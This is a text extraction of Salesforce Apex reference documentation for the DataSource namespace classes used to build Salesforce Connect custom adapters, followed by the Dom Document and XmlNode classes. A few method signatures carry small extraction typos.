columnName
Name of the column whose values are used to sort the rows in the result set.
direction
Direction for sorting rows based on column values.
tableName
Name of the table whose column values are used to sort the rows in the result set.

columnName
Name of the column whose values are used to sort the rows in the result set.

Signature
public String columnName {get; set;}

Property Value
Type: String

direction
Direction for sorting rows based on column values.

Signature
public DataSource.OrderDirection direction {get; set;}

Property Value
Type: DataSource.OrderDirection

tableName
Name of the table whose column values are used to sort the rows in the result set.

Signature
public String tableName {get; set;}

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Reference

OrderDirection Enum

Property Value
Type: String

Order Methods
The following are methods for Order.
IN THIS SECTION:
get(tableName, columnName, direction)
Creates an instance of the DataSource.Order class.

get(tableName, columnName, direction)

Creates an instance of the DataSource.Order class.

Signature
public static DataSource.Order get(String tableName, String columnName,
DataSource.OrderDirection direction)

Parameters
tableName

Type: String
Name of the table whose column values are used to sort the rows in the result set.
columnName

Type: String
Name of the column whose values are used to sort the rows in the result set.
direction

Type: DataSource.OrderDirection
Direction for sorting rows based on column values.

Return Value
Type: DataSource.Order

OrderDirection Enum
Specifies the direction for sorting rows based on column values.

Usage
Used by the direction property on the DataSource.Order class.

1588

Reference

Provider Class

Enum Values
The following are the values of the DataSource.OrderDirection enum.
Value

Description

ASCENDING

Sort rows in ascending order (AZ).

DESCENDING

Sort rows in descending order (ZA).

Namespace
DataSource

Usage
Create an Apex class that extends DataSource.Provider to specify the following.
The types of authentication that can be used to access the external system
The features that are supported for the connection to the external system
The Apex class that extends DataSource.Connection to sync the external systems schema and to handle the queries and
searches of the external data
The values that are returned by the DataSource.Provider class determine which settings are available in the external data
source definition in Salesforce. To access the external data source definition from Setup, enter External Data Sources in the
Quick Find box, then select External Data Sources.
IN THIS SECTION:
Provider Methods

Provider Methods
The following are methods for Provider.
IN THIS SECTION:
getAuthenticationCapabilities()
Returns the types of authentication that can be used to access the external system.
getCapabilities()
Returns the functional operations that the external system supports and the required endpoint settings for the external data source
definition in Salesforce.

1589

Reference

QueryAggregation Enum

getConnection(connectionParams)
Returns a connection that points to an instance of the external data source.

getAuthenticationCapabilities()
Returns the types of authentication that can be used to access the external system.

Signature
public List<DataSource.AuthenticationCapability> getAuthenticationCapabilities()

Return Value
Type: List<DataSource.AuthenticationCapability>

getCapabilities()
Returns the functional operations that the external system supports and the required endpoint settings for the external data source
definition in Salesforce.

Signature
public List<DataSource.Capability> getCapabilities()

Return Value
Type: List<DataSource.Capability>

getConnection(connectionParams)
Returns a connection that points to an instance of the external data source.

Signature
public DataSource.Connection getConnection(DataSource.ConnectionParams connectionParams)

Parameters
connectionParams

Type: DataSource.ConnectionParams
Credentials for authenticating to the external system.

Return Value
Type: DataSource.Connection

QueryAggregation Enum
Specifies how to aggregate a column in a query.

1590

Reference

QueryContext Class

Usage
Used by the aggregation property on the DataSource.ColumnSelection class.

Enum Values
The following are the values of the DataSource.QueryAggregation enum.
Value

Description

QueryContext Class
An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance
corresponds to a SOQL request.

Namespace
DataSource
IN THIS SECTION:
QueryContext Properties
QueryContext Methods

QueryContext Properties
The following are properties for QueryContext.
IN THIS SECTION:
queryMoreToken
Query token thats used for server-driven paging to determine and fetch the subsequent batch of results.
tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.

queryMoreToken
Query token thats used for server-driven paging to determine and fetch the subsequent batch of results.

1591

Reference

QueryContext Class

Signature
public String queryMoreToken {get; set;}

Property Value
Type: String

tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.

Signature
public DataSource.TableSelection tableSelection {get; set;}

Property Value
Type: DataSource.TableSelection

QueryContext Methods
The following are methods for QueryContext.
IN THIS SECTION:
get(metadata, offset, maxResults, tableSelection)
Creates an instance of the QueryContext class.

get(metadata, offset, maxResults, tableSelection)

Creates an instance of the QueryContext class.

Signature
public static DataSource.QueryContext get(List<DataSource.Table> metadata, Integer
offset, Integer maxResults, DataSource.TableSelection tableSelection)

Parameters
metadata

Type: List<DataSource.Table>
List of table metadata that describes the external systems tables to query.
offset

Type: Integer
Used for client-driven paging. Specifies the starting row offset into the querys result set.
maxResults

Type: Integer
Used for client-driven paging. Specifies the maximum number of rows to return in each batch.

1592

Reference

QueryUtils Class

tableSelection

Type: DataSource.TableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.

Return Value
Type: DataSource.QueryContext

QueryUtils Class
Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your
convenience during early development and tests, but it isnt supported for use in production environments.

Namespace
DataSource

Usage
The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class
is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the
DataSource.QueryUtils class and its methods arent supported for use in production environments that use callouts to retrieve
data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce.
When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets
according to the limit and offset clauses in the query.
IN THIS SECTION:
QueryUtils Methods

QueryUtils Methods
The following are methods for QueryUtils.
IN THIS SECTION:
applyLimitAndOffset(queryContext, rows)
Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your
convenience during early development and tests, but it isnt supported for use in production environments.
filter(queryContext, rows)
Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your
convenience during early development and tests, but it isnt supported for use in production environments.
process(queryContext, rows)
Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method
is provided for your convenience during early development and tests, but it isnt supported for use in production environments.

1593

Reference

QueryUtils Class

sort(queryContext, rows)
Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience
during early development and tests, but it isnt supported for use in production environments.

applyLimitAndOffset(queryContext, rows)
Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your
convenience during early development and tests, but it isnt supported for use in production environments.

Signature
public static List<Map<String,Object>> applyLimitAndOffset(DataSource.QueryContext
queryContext, List<Map<String,Object>> rows)

Parameters
queryContext

Type: DataSource.QueryContext
Represents the query to run against a data table.
rows

Type: List<Map<String, Object>>

Rows of data.

Return Value
Type: List<Map<String, Object>>

filter(queryContext, rows)
Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your convenience
during early development and tests, but it isnt supported for use in production environments.

Signature
public static List<Map<String,bject>> filter(DataSource.QueryContext queryContext,
List<Map<String,Object>> rows)

Parameters
queryContext

Type: DataSource.QueryContext
Represents the query to run against a data table.
rows

Type: List<Map<String, Object>>

Rows of data.

1594

Reference

QueryUtils Class

Return Value
Type: List<Map<String, Object>>

process(queryContext, rows)
Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method is
provided for your convenience during early development and tests, but it isnt supported for use in production environments.

Signature
public static List<Map<String,bject>> process(DataSource.QueryContext queryContext,
List<Map<String,Object>> rows)

Parameters
queryContext

Type: DataSource.QueryContext
Represents the query to run against a data table.
rows

Type: List<Map<String, Object>>

Rows of data.

Return Value
Type: List<Map<String, Object>>

Signature
public static List<Map<String,ject>> sort(DataSource.QueryContext queryContext,
List<Map<String,bject>> rows)

Parameters
queryContext

Type: DataSource.QueryContext
Represents the query to run against a data table.
rows

Type: List<Map<String, Object>>

Rows of data.

Return Value
Type: List<Map<String, Object>>

1595

Reference

ReadContext Class

ReadContext Class
Abstract base class for the QueryContext and SearchContext classes.

Namespace
DataSource
IN THIS SECTION:
ReadContext Properties

ReadContext Properties
The following are properties for ReadContext.
IN THIS SECTION:
maxResults
Maximum number of rows that the query can return.
metadata
Describes the external systems tables to query.
offset
The starting row offset into the querys result set. Used for client-driven paging.

maxResults
Maximum number of rows that the query can return.

Signature
public Integer maxResults {get; set;}

Property Value
Type: Integer

metadata
Describes the external systems tables to query.

Signature
public List<DataSource.Table> metadata {get; set;}

Property Value
Type: List<DataSource.Table>

1596

Reference

SearchContext Class

offset
The starting row offset into the querys result set. Used for client-driven paging.

Signature
public Integer offset {get; set;}

Property Value
Type: Integer

SearchContext Class
An instance of SearchContext is provided to the search method on your DataSource.Connection class. The instance
corresponds to a search or SOSL request.

Namespace
DataSource
IN THIS SECTION:
SearchContext Constructors
SearchContext Properties

SearchContext Constructors
The following are constructors for SearchContext.
IN THIS SECTION:
SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)
Creates an instance of the SearchContext class with the specified parameter values.
SearchContext()
Creates an instance of the SearchContext class.

SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)

Creates an instance of the SearchContext class with the specified parameter values.

Signature
public SearchContext(List<DataSource.Table> metadata, Integer offset, Integer maxResults,
List<DataSource.TableSelection> tableSelections, String searchPhrase)

1597

Reference

SearchContext Class

Parameters
metadata

Type: List<DataSource.Table>
List of table metadata that describes the external systems tables to query.
offset

Type: Integer
Specifies the starting row offset into the querys result set.
maxResults

Type: Integer
Specifies the maximum number of rows to return in each batch.
tableSelections

Type: List<DataSource.TableSelection>
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL
query.
searchPhrase

Type: String
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.

SearchContext()
Creates an instance of the SearchContext class.

Signature
public SearchContext()

SearchContext Properties
The following are properties for SearchContext.
IN THIS SECTION:
searchPhrase
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.
tableSelections
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.

searchPhrase
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.

Signature
public String searchPhrase {get; set;}

1598

Reference

SearchUtils Class

Property Value
Type: String

tableSelections
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.

Signature
public List<DataSource.TableSelection> tableSelections {get; set;}

Property Value
Type: List<DataSource.TableSelection>

SearchUtils Class
Helper class for implementing search on a custom adapter for Salesforce Connect.

Namespace
DataSource

Usage
We recommend that you develop your own search implementation that can search columns in addition to the designated name field.
IN THIS SECTION:
SearchUtils Methods

SearchUtils Methods
The following are methods for SearchUtils.
IN THIS SECTION:
searchByName(searchDetails, connection)
Queries all the tables and returns each row whose designated name field contains the search phrase.

searchByName(searchDetails, connection)
Queries all the tables and returns each row whose designated name field contains the search phrase.

Signature
public static List<DataSource.TableResult> searchByName(DataSource.SearchContext
searchDetails, DataSource.Connection connection)

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Reference

Table Class

Parameters
searchDetails

Type: DataSource.SearchContext
The SearchContext class that specifies which data to search and what to search for.
connection

Type: DataSource.Connection
The DataSource.Connection class that connects to the external system.

Return Value
Type: List<DataSource.TableResult>

Table Class
Describes a table on an external system that the Salesforce Connect custom adapter connects to. This class extends the
DataSourceUtil class and inherits its methods.

Namespace
DataSource

Usage
A list of table metadata is provided by the DataSource.Connection class when the sync() method is invoked. Each table
can become an external object in Salesforce.
The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the table metadata doesnt automatically
update the stored metadata in Salesforce.
IN THIS SECTION:
Table Properties
Table Methods

Table Properties
The following are properties for Table.
IN THIS SECTION:
columns
List of table columns.
description
Description of what the table represents.
labelPlural
Plural form of the user-friendly name for the table. The labelPlural becomes the objects plural label in the Salesforce user
interface.

1600

Reference

Table Class

labelSingular
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user
interface. We recommend that you make object labels unique across all standard, custom, and external objects in the org.
name
Name of the table on the external system.
nameColumn
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

columns
List of table columns.

Signature
public List<DataSource.Column> columns {get; set;}

Property Value
Type: List<DataSource.Column>

description
Description of what the table represents.

Signature
public String description {get; set;}

Property Value
Type: String

labelPlural
Plural form of the user-friendly name for the table. The labelPlural becomes the objects plural label in the Salesforce user interface.

Signature
public String labelPlural {get; set;}

Property Value
Type: String

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Reference

Table Class

Signature
public String labelSingular {get; set;}

Property Value
Type: String

name
Name of the table on the external system.

Signature
public String name {get; set;}

Property Value
Type: String

nameColumn
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

Signature
public String nameColumn {get; set;}

Property Value
Type: String

Table Methods
The following are methods for Table.
IN THIS SECTION:
get(name, labelSingular, labelPlural, description, nameColumn, columns)
Returns the table metadata with the specified parameter values.
get(name, nameColumn, columns)
Returns the table metadata with the specified parameter values, using the name for the labels and description.

get(name, labelSingular, labelPlural, description, nameColumn, columns)

Returns the table metadata with the specified parameter values.

1602

Reference

Table Class

Signature
public static DataSource.Table get(String name, String labelSingular, String labelPlural,
String description, String nameColumn, List<DataSource.Column> columns)

Parameters
name

Type: String
Name of the external table.
labelSingular

Type: String
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user
interface.
labelPlural

Type: String
Plural form of the user-friendly name for the table. The labelPlural becomes the objects plural label in the Salesforce user
interface.
description

Type: String
Description of the external table.
nameColumn

Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.
columns

Type: List<DataSource.Column>
List of table columns.

Return Value
Type: DataSource.Table

get(name, nameColumn, columns)

Returns the table metadata with the specified parameter values, using the name for the labels and description.

Signature
public static DataSource.Table get(String name, String nameColumn,
List<DataSource.Column> columns)

Parameters
name

Type: String
Name of the external table.

1603

Reference

TableResult Class

nameColumn

Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.
columns

Type: List<DataSource.Column>
List of table columns.

Return Value
Type: DataSource.Table
The returned table metadata has these property values.
Property

Value

name

labelSingular

name

labelPlural

name

description

name

nameColumn

columns

TableResult Class
Contains the results of a search or query.

Namespace
DataSource
IN THIS SECTION:
TableResult Properties
TableResult Methods

TableResult Properties
The following are properties for TableResult.
IN THIS SECTION:
errorMessage
Error message to display to the user.

1604

Reference

TableResult Class

queryMoreToken
Query token thats used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back
to the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.
rows
Rows of data.
success
Whether the search or query was successful.
tableName
Name of the table that was queried.
totalSize
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.

errorMessage
Error message to display to the user.

Signature
public String errorMessage {get; set;}

Property Value
Type: String

Signature
public String queryMoreToken {get; set;}

Property Value
Type: String

rows
Rows of data.

Signature
public List<Map<String,Object>> rows {get; set;}

Property Value
Type: List<Map<String, Object>>

1605

Reference

TableResult Class

success
Whether the search or query was successful.

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

tableName
Name of the table that was queried.

Signature
public String tableName {get; set;}

Property Value
Type: String

totalSize
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.

Signature
public Integer totalSize {get; set;}

Property Value
Type: Integer

TableResult Methods
The following are methods for TableResult.
IN THIS SECTION:
error(errorMessage)
Returns failed search or query results with the provided error message.
get(success, errorMessage, tableName, rows, totalSize)
Returns a subset of data rows in a TableResult with the provided property values.
get(success, errorMessage, tableName, rows)
Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.

1606

Reference

TableResult Class

get(queryContext, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.
get(tableSelection, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.

error(errorMessage)
Returns failed search or query results with the provided error message.

Signature
public static DataSource.TableResult error(String errorMessage)

Parameters
errorMessage

Type: String
Error message to display to the user.

Return Value
Type: DataSource.TableResult
The returned TableResult has these property values.
Property

Value

success

false

errorMessage

tableName

null

rows

null

rows.size()

get(success, errorMessage, tableName, rows, totalSize)

Returns a subset of data rows in a TableResult with the provided property values.

Signature
public static DataSource.TableResult get(Boolean success, String errorMessage, String
tableName, List<Map<String,Object>> rows, Integer totalSize)

Parameters
success

Type: Boolean
Whether the search or query was successful.

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Reference

TableResult Class

errorMessage

Type: String
Error message to display to the user.
tableName

Type: String
Name of the table that was queried.
rows

Type: List<Map<String, Object>>

Rows of data.
totalSize

Type: Integer
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.

Return Value
Type: DataSource.TableResult

get(success, errorMessage, tableName, rows)

Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.

Signature
public static DataSource.TableResult get(Boolean success, String errorMessage, String
tableName, List<Map<String,Object>> rows)

Parameters
success

Type: Boolean
Whether the search or query was successful.
errorMessage

Type: String
Error message to display to the user.
tableName

Type: String
Name of the table that was queried.
rows

Type: List<Map<String, Object>>

Rows of data.

Return Value
Type: DataSource.TableResult

1608

Reference

TableSelection Class

get(queryContext, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.

Signature
public static DataSource.TableResult get(DataSource.QueryContext queryContext,
List<Map<String,Object>> rows)

Parameters
queryContext

Type: DataSource.QueryContext
Represents the query to run against a data table.
rows

Type: List<Map<String, Object>>

Rows of data.

Return Value
Type: DataSource.TableResult

get(tableSelection, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.

Signature
public static DataSource.TableResult get(DataSource.TableSelection tableSelection,
List<Map<String,Object>> rows)

Parameters
tableSelection

Type: DataSource.TableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.
rows

Type: List<Map<String, Object>>

Rows of data.

Return Value
Type: DataSource.TableResult

TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the
query.

1609

Reference

TableSelection Class

Namespace
DataSource
IN THIS SECTION:
TableSelection Properties

TableSelection Properties
The following are properties for TableSelection.
IN THIS SECTION:
columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.
filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in
a SOQL or SOSL query.
order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.
tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.

columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.

Signature
public List<DataSource.ColumnSelection> columnsSelected {get; set;}

Property Value
Type: List<DataSource.ColumnSelection>

filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in a
SOQL or SOSL query.

Signature
public DataSource.Filter filter {get; set;}

Property Value
Type: DataSource.Filter

1610

Reference

UpsertContext Class

order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.

Signature
public List<DataSource.Order> order {get; set;}

Property Value
Type: List<DataSource.Order>

tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.

Signature
public String tableSelected {get; set;}

Property Value
Type: String

UpsertContext Class
An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class. This
class provides context information about the upsert request to the implementor of upsertRows().

Namespace
DataSource

Usage
The Apex Connector Framework creates the contet for operations. Context is comprised of parameters about the operations, which
other methods can use. An instance of the UpsertContext class packages these parameters into an object that can be used when
an upsertRows() operation is initiated.
IN THIS SECTION:
UpsertContext Properties

UpsertContext Properties
The following are properties for UpsertContext.

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Reference

UpsertResult Class

IN THIS SECTION:
rows
List of rows corresponding to the external object records to upsert.
tableSelected
The name of the table to upsert rows in.

rows
List of rows corresponding to the external object records to upsert.

Signature
public List<Map<String,ANY>> rows {get; set;}

Property Value
Type: List<Map<String,Object>>

tableSelected
The name of the table to upsert rows in.

Signature
public String tableSelected {get; set;}

Property Value
Type: String

UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of the
DataSource.Connection class.

Namespace
DataSource

Usage
An upsert operation on external object records generates an array of objects of type DataSource.UpsertResult. Its methods
create result records that indicate whether the upsert operation succeeded or failed.
IN THIS SECTION:
UpsertResult Properties
UpsertResult Methods

1612

Reference

UpsertResult Class

UpsertResult Properties
The following are properties for UpsertResult.
IN THIS SECTION:
errorMessage
The error message thats generated by a failed upsert operation.
externalId
The unique identifier of a row that represents an external object record to upsert.
success
Indicates whether a delete operation succeeded or failed.

errorMessage
The error message thats generated by a failed upsert operation.

Signature
public String errorMessage {get; set;}

Property Value
Type: String

externalId
The unique identifier of a row that represents an external object record to upsert.

Signature
public String externalId {get; set;}

Property Value
Type: String

success
Indicates whether a delete operation succeeded or failed.

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

1613

Reference

UpsertResult Class

UpsertResult Methods
The following are methods for UpsertResult.
IN THIS SECTION:
equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method
is dynamic and is based on the equals method in Java.
failure(externalId, errorMessage)
Creates an upsert result that indicates the failure of a delete request for a given external ID.
hashCode()
Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.
success(externalId)
Creates a delete result that indicates the successful completion of an upsert request for a given external ID.

equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method is
dynamic and is based on the equals method in Java.

Signature
public Boolean equals(Object obj)

Parameters
obj

Type: Object
External object whose key is to be validated.

Return Value
Type: Boolean

failure(externalId, errorMessage)
Creates an upsert result that indicates the failure of a delete request for a given external ID.

Signature
public static DataSource.UpsertResult failure(String externalId, String errorMessage)

Parameters
externalId

Type: String
The unique identifier of the external object record to upsert.

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Reference

DataSource Exceptions

errorMessage

Type: String
The reason the upsert operation failed.

Return Value
Type: DataSource.UpsertResult
Status result for the upsert operation.

hashCode()
Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.

Signature
public Integer hashCode()

Return Value
Type: Integer

success(externalId)
Creates a delete result that indicates the successful completion of an upsert request for a given external ID.

Signature
public static DataSource.UpsertResult success(String externalId)

Parameters
externalId

Type: String
The unique identifier of the external object record to upsert.

Return Value
Type: DataSource.UpsertResult
Status result of the upsert operation for the external object record with the given external ID.

DataSource Exceptions
The DataSource namespace contains exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The DataSource namespace contains these exceptions.

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Reference

Dom Namespace

Exception

Description

Methods

DataSource.DataSourceException

Throw this exception to indicate that an To get the error message and write it
error occurred while communicating with to debug log, use the String
an external data source.
getMessage().

DataSource.OAuthTokenExpiredException Throw this exception to indicate that an

To get the error message and write it

OAuth token has expired. The system then to debug log, use the String
attempts to refresh the token
getMessage().
automatically and restart the query, search,
or sync operation.

Dom Namespace
The Dom namespace provides classes and methods for approval processing.
The following are the classes in the Dom namespace.
IN THIS SECTION:
Document Class
Use the Document class to process XML content. You can parse nested XML content thats up to 50 nodes deep.
XmlNode Class
Use the XmlNode class to work with a node in an XML document.

Document Class
Use the Document class to process XML content. You can parse nested XML content thats up to 50 nodes deep.

Namespace
Dom

Usage
One common application is to use it to create the body of a request for HttpRequest or to parse a response accessed by HttpResponse.
IN THIS SECTION:
Document Constructors
Document Methods
SEE ALSO:
Reading and Writing XML Using the DOM

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Reference

Document Class

Document Constructors
The following are constructors for Document.
IN THIS SECTION:
Document()
Creates a new instance of the Dom.Document class.

Document()
Creates a new instance of the Dom.Document class.

Signature
public Document()

Document Methods
The following are methods for Document. All are instance methods.
IN THIS SECTION:
createRootElement(name, namespace, prefix)
Creates the top-level root element for a document.
getRootElement()
Returns the top-level root element node in the document. If this method returns null, the root element has not been created yet.
load(xml)
Parse the XML representation of the document specified in the xml argument and load it into a document.
toXmlString()
Returns the XML representation of the document as a String.

createRootElement(name, namespace, prefix)

Creates the top-level root element for a document.

Signature
public Dom.XmlNode createRootElement(String name, String namespace, String prefix)

Parameters
name

Type: String
namespace

Type: String
prefix

Type: String

1617

Reference

Document Class

Return Value
Type: Dom.XmlNode

Usage
For more information about namespaces, see XML Namespaces.
Calling this method more than once on a document generates an error as a document can have only one root element.

getRootElement()
Returns the top-level root element node in the document. If this method returns null, the root element has not been created yet.

Signature
public Dom.XmlNode getRootElement()

Return Value
Type: Dom.XmlNode

load(xml)
Parse the XML representation of the document specified in the xml argument and load it into a document.

Signature
public Void load(String xml)

Parameters
xml

Type: String

Return Value
Type: Void

Example
Dom.Document doc = new Dom.Document();
doc.load(xml);

toXmlString()
Returns the XML representation of the document as a String.

Signature
public String toXmlString()

1618

Reference

XmlNode Class

Return Value
Type: String

XmlNode Class
Use the XmlNode class to work with a node in an XML document.

Namespace
Dom

XmlNode Methods
The following are methods for XmlNode. All are instance methods.
IN THIS SECTION:
addChildElement(name, namespace, prefix)
Creates a child element node for this node.
addCommentNode(text)
Creates a child comment node for this node.
addTextNode(text)
Creates a child text node for this node.
getAttribute(key, keyNamespace)
Returns namespacePrefix:attributeValue for the given key and key namespace.
getAttributeCount()
Returns the number of attributes for this node.
getAttributeKeyAt(index)
Returns the attribute key for the given index. Index values start at 0.
getAttributeKeyNsAt(index)
Returns the attribute key namespace for the given index.
getAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.
getAttributeValueNs(key, keyNamespace)
Returns the attribute value namespace for the given key and key namespace.
getChildElement(name, namespace)
Returns the child element node for the node with the given name and namespace.
getChildElements()
Returns the child element nodes for this node. This doesn't include child text or comment nodes.
getChildren()
Returns the child nodes for this node. This includes all node types.
getName()
Returns the element name.

1619

Reference

XmlNode Class

getNamespace()
Returns the namespace of the element.
getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.
getNodeType()
Returns the node type.
getParent()
Returns the parent of this element.
getPrefixFor(namespace)
Returns the prefix of the given namespace.
getText()
Returns the text for this node.
insertBefore(newChild, refChild)
Inserts a new child node before the specified node.
removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.
removeChild(childNode)
Removes the given child node.
setAttribute(key, value)
Sets the key attribute value.
setAttributeNs(key, value, keyNamespace, valueNamespace)
Sets the key attribute value.
setNamespace(prefix, namespace)
Sets the namespace for the given prefix.

addChildElement(name, namespace, prefix)

Creates a child element node for this node.

Signature
public Dom.XmlNode addChildElement(String name, String namespace, String prefix)

Parameters
name

Type: String
The name argument can't have a null value.
namespace

Type: String
prefix

Type: String

1620

Reference

XmlNode Class

Return Value
Type: Dom.XmlNode

Usage
If the namespace argument has a non-null value and the prefix argument is null, the namespace is set as the default
namespace.
If the prefix argument is null, Salesforce automatically assigns a prefix for the element. The format of the automatic prefix is
nsi, where i is a number.If the prefix argument is '', the namespace is set as the default namespace.

addCommentNode(text)
Creates a child comment node for this node.

Signature
public Dom.XmlNode addCommentNode(String text)

Parameters
text

Type: String
The text argument can't have a null value.

Return Value
Type: Dom.XmlNode

addTextNode(text)
Creates a child text node for this node.

Signature
public Dom.XmlNode addTextNode(String text)

Parameters
text

Type: String
The text argument can't have a null value.

Return Value
Type: Dom.XmlNode

getAttribute(key, keyNamespace)
Returns namespacePrefix:attributeValue for the given key and key namespace.

1621

Reference

XmlNode Class

Signature
public String getAttribute(String key, String keyNamespace)

Parameters
key

Type: String
keyNamespace

Type: String

Return Value
Type: String

Example
For example, for the <foo a:b="c:d" /> element:
getAttribute returns c:d
getAttributeValue returns d

getAttributeCount()
Returns the number of attributes for this node.

Signature
public Integer getAttributeCount()

Return Value
Type: Integer

getAttributeKeyAt(index)
Returns the attribute key for the given index. Index values start at 0.

Signature
public String getAttributeKeyAt(Integer index)

Parameters
index

Type: Integer

Return Value
Type: String

1622

Reference

XmlNode Class

getAttributeKeyNsAt(index)
Returns the attribute key namespace for the given index.

Signature
public String getAttributeKeyNsAt(Integer index)

Parameters
index

Type: Integer

Return Value
Type: String

getAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.

Signature
public String getAttributeValue(String key, String keyNamespace)

Parameters
key

Type: String
keyNamespace

Type: String

Return Value
Type: String

Example
For example, for the <foo a:b="c:d" /> element:
getAttribute returns c:d
getAttributeValue returns d

getAttributeValueNs(key, keyNamespace)
Returns the attribute value namespace for the given key and key namespace.

Signature
public String getAttributeValueNs(String key, String keyNamespace)

1623

Reference

XmlNode Class

Parameters
key

Type: String
keyNamespace

Type: String

Return Value
Type: String

getChildElement(name, namespace)
Returns the child element node for the node with the given name and namespace.

Signature
public Dom.XmlNode getChildElement(String name, String namespace)

Parameters
name

Type: String
namespace

Type: String

Return Value
Type: Dom.XmlNode

getChildElements()
Returns the child element nodes for this node. This doesn't include child text or comment nodes.

Signature
public Dom.XmlNode[] getChildElements()

Return Value
Type: Dom.XmlNode[]

getChildren()
Returns the child nodes for this node. This includes all node types.

Signature
public Dom.XmlNode[] getChildren()

1624

Reference

XmlNode Class

Return Value
Type: Dom.XmlNode[]

getName()
Returns the element name.

Signature
public String getName()

Return Value
Type: String

getNamespace()
Returns the namespace of the element.

Signature
public String getNamespace()

Return Value
Type: String

getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.

Signature
public String getNamespaceFor(String prefix)

Parameters
prefix

Type: String

Return Value
Type: String

getNodeType()
Returns the node type.

1625

Reference

XmlNode Class

Signature
public Dom.XmlNodeType getNodeType()

Return Value
Type: Dom.XmlNodeType

getParent()
Returns the parent of this element.

Signature
public Dom.XmlNode getParent()

Return Value
Type: Dom.XmlNode

getPrefixFor(namespace)
Returns the prefix of the given namespace.

Signature
public String getPrefixFor(String namespace)

Parameters
namespace

Type: String
The namespace argument can't have a null value.

Return Value
Type: String

getText()
Returns the text for this node.

Signature
public String getText()

Return Value
Type: String

1626

Reference

XmlNode Class

insertBefore(newChild, refChild)
Inserts a new child node before the specified node.

Signature
public Dom.XmlNode insertBefore(Dom.XmlNode newChild, Dom.XmlNode refChild)

Parameters
newChild

Type: Dom.XmlNode
The node to insert.
refChild

Type: Dom.XmlNode
The node before the new node.

Return Value
Type: Dom.XmlNode

Usage
If refChild is null, newChild is inserted at the end of the list.
If refChild doesn't exist, an exception is thrown.

removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.

Signature
public Boolean removeAttribute(String key, String keyNamespace)

Parameters
key

Type: String
keyNamespace

Type: String

Return Value
Type: Boolean

